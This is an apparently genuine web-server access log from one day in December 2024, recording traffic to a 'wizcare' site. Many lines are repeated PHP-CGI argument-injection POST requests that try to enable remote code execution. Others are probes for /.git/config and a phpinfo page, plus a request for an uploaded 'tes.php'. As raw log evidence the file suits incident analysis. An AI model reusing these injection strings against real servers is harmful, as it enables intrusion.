[02/Dec/2024:09:40:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:09:40:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:09:43:40 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:09:51:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:09:53:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:09:54:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:09:56:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-8.jpg HTTP/1.1" 55618
[02/Dec/2024:09:58:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "-" -
[02/Dec/2024:10:12:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/fonts/fontawesome-webfont3e6e.svg HTTP/1.1" 447050
[02/Dec/2024:10:14:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:10:29:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h2.png HTTP/1.1" 127
[02/Dec/2024:10:34:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:10:47:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_pre.png HTTP/1.1" 128
[02/Dec/2024:10:51:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:10:54:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:11:00:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:11:05:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/logo_ckeditor.png HTTP/1.1" 6757
[02/Dec/2024:11:13:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:11:23:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.svg HTTP/1.1" 365616
[02/Dec/2024:11:25:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[02/Dec/2024:11:30:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[02/Dec/2024:11:33:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:11:41:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h6.png HTTP/1.1" 123
[02/Dec/2024:11:51:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:11:54:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:11:59:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:12:06:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/magicline/images/icon.png HTTP/1.1" 133
[02/Dec/2024:12:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:12:34:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:12:36:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?dns=QF4BAAABAAAAAAAABmdvb2dsZQNjb20AAAEAAQ HTTP/1.1" 300
[02/Dec/2024:12:51:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:12:57:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:13:02:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/samples/replacebycode.html.locked HTTP/1.1" -
[02/Dec/2024:13:02:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:13:03:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:13:03:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:13:14:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:13:16:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:13:20:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/configure-vhosts.html HTTP/1.1" 305
[02/Dec/2024:13:33:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:13:44:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:13:44:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:13:44:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[02/Dec/2024:13:51:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:13:54:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:14:03:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:14:09:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/tes.php HTTP/1.1" -
[02/Dec/2024:14:09:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:14:09:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[02/Dec/2024:14:09:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/ HTTP/1.1" 5827
[02/Dec/2024:14:09:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/blank.gif HTTP/1.1" 148
[02/Dec/2024:14:09:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/back.gif HTTP/1.1" 216
[02/Dec/2024:14:09:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/image2.gif HTTP/1.1" 309
[02/Dec/2024:14:09:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/layout.gif HTTP/1.1" 276
[02/Dec/2024:14:09:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/folder.gif HTTP/1.1" 225
[02/Dec/2024:14:09:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/unknown.gif HTTP/1.1" 245
[02/Dec/2024:14:09:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/text.gif HTTP/1.1" 229
[02/Dec/2024:14:09:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/binary.gif HTTP/1.1" 246
[02/Dec/2024:14:09:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/%e9%a0%90%e9%98%b2%e7%86%b1%e5%82%b7%e5%ae%b3%e4%b8%89%e6%ad%a5%e9%a9%9f.jpg HTTP/1.1" 144104
[02/Dec/2024:14:14:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:14:29:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/index9328h.html HTTP/1.1" 9469
[02/Dec/2024:14:29:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/view/javascript/core/libraries/jquery.min.js HTTP/1.1" -
[02/Dec/2024:14:29:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/view/theme/default/stylesheet/responsive.css HTTP/1.1" -
[02/Dec/2024:14:29:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/images/top.svg HTTP/1.1" -
[02/Dec/2024:14:29:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/view/theme/default/javascript/jquery.min.js HTTP/1.1" -
[02/Dec/2024:14:29:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/view/theme/default/javascript/swiper.min.js HTTP/1.1" -
[02/Dec/2024:14:29:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/view/theme/default/stylesheet/style.css HTTP/1.1" -
[02/Dec/2024:14:29:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/images/logo.svg HTTP/1.1" -
[02/Dec/2024:14:29:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/view/javascript/core/ming.js HTTP/1.1" -
[02/Dec/2024:14:29:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/view/theme/default/stylesheet/change.css HTTP/1.1" -
[02/Dec/2024:14:29:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/view/javascript/core/libraries/jquery-ui/jquery-ui.min.js HTTP/1.1" -
[02/Dec/2024:14:29:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:14:29:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:14:29:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/apps/website/view/theme/default/javascript/wow.min.js HTTP/1.1" -
[02/Dec/2024:14:29:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:14:29:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:14:29:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:14:29:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:14:29:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:14:30:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:14:30:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:14:30:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/connect.facebook.net/zh_TW/sdk.js HTTP/1.1" -
[02/Dec/2024:14:34:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:14:40:22 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:14:51:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:14:54:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:15:06:28 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:15:14:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:15:18:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:15:34:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:15:51:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:15:54:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:16:08:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:16:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:16:22:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:16:33:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:16:33:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "OPTIONS / HTTP/1.0" -
[02/Dec/2024:16:36:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/IMG_0724.JPG HTTP/1.1" 2779347
[02/Dec/2024:16:43:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:16:51:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:16:54:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:17:09:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:17:09:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:17:14:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:17:21:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:17:26:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:17:26:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:17:34:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:17:47:06 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:17:47:29 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:17:47:42 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:17:50:04 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:17:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:17:52:53 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:17:53:05 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:17:53:14 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:17:54:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:17:59:09 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:17:59:25 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:17:59:42 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:18:07:08 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:18:07:22 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:18:07:39 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:18:11:27 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:18:11:40 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:18:11:54 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:18:13:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:18:14:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:18:34:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:18:50:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/index9328a.html HTTP/1.1" -
[02/Dec/2024:18:51:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:19:00:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:19:00:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:19:00:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[02/Dec/2024:19:01:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[02/Dec/2024:19:01:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:19:14:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:19:24:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:19:34:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:19:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:19:54:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:20:14:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /_profiler/phpinfo HTTP/1.1" 300
[02/Dec/2024:20:14:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:20:14:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:20:18:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:20:34:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:20:51:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:20:55:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:21:15:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:21:27:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:21:34:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
